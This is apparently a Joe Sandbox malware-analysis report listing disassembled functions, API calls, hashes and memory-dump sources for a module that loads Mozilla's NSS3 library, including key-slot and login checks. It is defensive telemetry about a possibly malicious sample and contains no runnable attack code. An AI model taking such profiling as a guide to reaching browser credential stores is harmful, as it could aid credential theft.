Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2e8d63887cc5bf19f1a0a3252084ff30ec32f6bfa53550a0eec2c440819e6688
Instruction ID: 28b7d11ced974c347ef60bb5b135a94b01d936a682a372062ded19c88dbf66a0
Opcode Fuzzy Hash: 2e8d63887cc5bf19f1a0a3252084ff30ec32f6bfa53550a0eec2c440819e6688
Instruction Fuzzy Hash: 13113B71F003055BF7109B6A9C40BBF73A8DF9524DF044229EC15D6B41F721E56982E2

Function 6CC28E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EA2

Part of subcall function 6CC4F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC4F854
Part of subcall function 6CC4F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC4F868
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC4F882
Part of subcall function 6CC4F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC4F889
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC4F8A4
Part of subcall function 6CC4F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC4F8AB
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC4F8C9
Part of subcall function 6CC4F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC4F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EC3
TlsGetValue.KERNEL32(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC28EF1
PR_Unlock.NSS3 ref: 6CC28F20

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fa81e153802e36bef60c3aa86b1972a4704245ff858ac5456a64afcac54da8f3
Instruction ID: 8a5f94e770f8ade1783c7fe8faf95fcbd56a64c243eabf34b5b8ae95efdb222c
Opcode Fuzzy Hash: fa81e153802e36bef60c3aa86b1972a4704245ff858ac5456a64afcac54da8f3
Instruction Fuzzy Hash: 0B21D1759087059FE700AF29C0846A9BBF4FF48318F01856EED988BB40E734E854CBD2

Function 6CC18FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC20710), ref: 6CC18FF1
PR_CallOnce.NSS3(6CD62158,6CC19150,00000000,?,?,?,6CC19138,?,6CC20710), ref: 6CC19029
calloc.MOZGLUE(00000001,00000000,?,?,6CC20710), ref: 6CC1904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC20710), ref: 6CC19066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC20710), ref: 6CC19078

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 9d1d25147094f322c1dddf6a94577536b4a32da3715861527998bf0931b79309
Instruction ID: d6405057594babb65ff0ed2b4909898bc37d3484027f611565f9a39244c73c29
Opcode Fuzzy Hash: 9d1d25147094f322c1dddf6a94577536b4a32da3715861527998bf0931b79309
Instruction Fuzzy Hash: 0711E161B081515BF7201BABAC44A7A36ACEB867ACF500131FD88C6F40F752DD56E3B5

Function 6CC2CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC41E10: TlsGetValue.KERNEL32 ref: 6CC41E36
Part of subcall function 6CC41E10: EnterCriticalSection.KERNEL32(?,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC41E4B
Part of subcall function 6CC41E10: PR_Unlock.NSS3 ref: 6CC41E76

free.MOZGLUE(?,6CC2D079,00000000,00000001), ref: 6CC2CDA5
PK11_FreeSymKey.NSS3(?,6CC2D079,00000000,00000001), ref: 6CC2CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC2D079,00000000,00000001), ref: 6CC2CDCF
DeleteCriticalSection.KERNEL32(?,6CC2D079,00000000,00000001), ref: 6CC2CDE2
free.MOZGLUE(?), ref: 6CC2CDE9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: ce109ffe920bb93a19fc627b1d2c9276bf4ce8147b9c1c657b82edf4b9a96210
Instruction ID: c2a0b43d89b45a8e43c6a5e117a07fc10a43075fa5a3a057c04bff7675867136
Opcode Fuzzy Hash: ce109ffe920bb93a19fc627b1d2c9276bf4ce8147b9c1c657b82edf4b9a96210
Instruction Fuzzy Hash: 4611A0B6B01111ABFB00AA65EC84996B72CFF44268B104161EA0987E01F736E434C7E1

Function 6CC63D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CC638A2), ref: 6CC63DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CC638A2), ref: 6CC63DBF

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DF8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: 878d7e053244239be00c55da340c68d4f3ac6b3c8b90197916095ab800c68c01
Instruction ID: 990637608ad3281d173f2d56863e2a50497e51a72419cf3c28173dbeb5ed2fcc
Opcode Fuzzy Hash: 878d7e053244239be00c55da340c68d4f3ac6b3c8b90197916095ab800c68c01
Instruction Fuzzy Hash: 3F01D6B57051223BFB1056B75D89E3B3D6CDB817A9B180235FE29DAA80FA51DC1081F1

Function 6CC92CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC92CEC

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC92D02
PR_EnterMonitor.NSS3(?), ref: 6CC92D1F
PR_ExitMonitor.NSS3(?), ref: 6CC92D42
PR_ExitMonitor.NSS3(?), ref: 6CC92D5B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: a858efbd13cd12212fd942a9c9a2d72ff340d3a87db8bd8ea0edf1a2a1a7130c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 570184B6A102049BE7309F26FC45BC7B7A5EF45318F004565E89986B20F732F915C793

Function 6CC92D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC92D9C

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC92DB2
PR_EnterMonitor.NSS3(?), ref: 6CC92DCF
PR_ExitMonitor.NSS3(?), ref: 6CC92DF2
PR_ExitMonitor.NSS3(?), ref: 6CC92E0B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: c5379a0219d3a01f04a65a653da4fe5f39a26d0ca52a8c995a2c94d4afde698d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: CA01A1B2A102049BEB309E25FC45BC7B7A5EB45319F000535E89986B21F632E925C693

Function 6CC2AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC13090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC2AE42), ref: 6CC130AA
Part of subcall function 6CC13090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC130C7
Part of subcall function 6CC13090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC130E5
Part of subcall function 6CC13090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC13116
Part of subcall function 6CC13090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC1312B
Part of subcall function 6CC13090: PK11_DestroyObject.NSS3(?,?), ref: 6CC13154
Part of subcall function 6CC13090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CC099FF,?,?,?,?,?,?,?,?,?,6CC02D6B,?), ref: 6CC2AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CC099FF,?,?,?,?,?,?,?,?,?,6CC02D6B,?), ref: 6CC2AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?,00000000), ref: 6CC2AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?,00000000), ref: 6CC2AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?), ref: 6CC2AEA3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 0103b0ff492aedc64dcfcc93f3009a82c7381bf285cf416ea1515ce107df4967
Instruction ID: 2e703bae9ab7a4d501e650535facb2b8d65cd70787a3d2724910f5220f00d3a1
Opcode Fuzzy Hash: 0103b0ff492aedc64dcfcc93f3009a82c7381bf285cf416ea1515ce107df4967
Instruction Fuzzy Hash: 5001F4ABB041105BE701A12EAC91BAF31588BC765CF080032E909C7B41F629C92B42A3

Function 6CD1BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDC3
free.MOZGLUE(?,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDE9
free.MOZGLUE(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BE21
free.MOZGLUE(00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BE32

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: aef3f98b66e0e39ff7d69a74ca7d003ddf6e73d8ee2045d81d40729e06dba59e
Instruction ID: 64a597dc4a65c3ce1a93125cc61c38426cb0e1d8d0a9b8c5a8448a2a09bb0d71
Opcode Fuzzy Hash: aef3f98b66e0e39ff7d69a74ca7d003ddf6e73d8ee2045d81d40729e06dba59e
Instruction Fuzzy Hash: FB111CB5B05240AFFF00DF2AD849B223BBDBB4A258F440069E78AC7751E7319414CBB1

Function 6CC63E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CC63975), ref: 6CC63E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CC63975), ref: 6CC63E38

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CC63975), ref: 6CC63E52
DeleteFileW.KERNEL32(00000000), ref: 6CC63E5D
free.MOZGLUE(00000000), ref: 6CC63E64

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 328438b86f48a0d101bb2b76a3ac81a966519da068727d83db4925019a11bda4
Instruction ID: 9f2ca931de318affbeb8f6e749229be3a2fad77c134dedb1665c3ae7cebdcc33
Opcode Fuzzy Hash: 328438b86f48a0d101bb2b76a3ac81a966519da068727d83db4925019a11bda4
Instruction Fuzzy Hash: 61F054B53061023BFB10257A5D89E37355CDB869B9B680635BE29C59C1F940DC118271

Function 6CD17C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CD17C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17C83
malloc.MOZGLUE(00000001), ref: 6CD17C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD17C9F
PR_GetCurrentThread.NSS3 ref: 6CD17CAD

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 1265bec9cff612158242f4a50790427446f9c26fdc2d9c6c9fb370ccda466f7b
Instruction ID: fcec64bd0d022b1de11089bffe200ca9bd35021729d49dad1650d340da4034ed
Opcode Fuzzy Hash: 1265bec9cff612158242f4a50790427446f9c26fdc2d9c6c9fb370ccda466f7b
Instruction Fuzzy Hash: 1AF0C2B1A14206BBEB00AF7AEC099877B5CEF44269B018435E809C3F20EB30E114CAE5

Function 6CD1ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD1A6D8), ref: 6CD1AE0D
free.MOZGLUE(?), ref: 6CD1AE14
DeleteCriticalSection.KERNEL32(6CD1A6D8), ref: 6CD1AE36
free.MOZGLUE(?), ref: 6CD1AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD1A6D8), ref: 6CD1AE47

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6f9b45512441d622ee11c7d9eadf8c7cfa669ab5b75de00e79196db08edd52a1
Instruction ID: 53c1640476c1d299895b566afa6cffe71997aa5b44a1bc1290566bc4c5113606
Opcode Fuzzy Hash: 6f9b45512441d622ee11c7d9eadf8c7cfa669ab5b75de00e79196db08edd52a1
Instruction Fuzzy Hash: C8F0F679601A01A7DB109F68E8489177B7CBFCA774B100328F22E83940D731E015CBD1

Function 6CBA7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA7D35

Strings

database corruption, xrefs: 6CBA7D29
%s at line %d of [%.10s], xrefs: 6CBA7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA7D13, 6CBA7D1F, 6CBA7D47, 6CBA7D53, 6CBA7D5F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 4dd1645615465af43b0bf7d0ece7c085352caebcb07296d2c57551c9651371f3
Instruction ID: d01863fded8a4c73d0334e96568330b8767f353e904400c6e7e08011a7642fed
Opcode Fuzzy Hash: 4dd1645615465af43b0bf7d0ece7c085352caebcb07296d2c57551c9651371f3
Instruction Fuzzy Hash: 3F310371E0C279A7D7108F9DC880DBDB7E1EF84205B5945A6E4C8B7A8AD6B0D842C7A0

Function 6CB96C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB96D36

Strings

database corruption, xrefs: 6CB96D2A
%s at line %d of [%.10s], xrefs: 6CB96D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB96D20

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
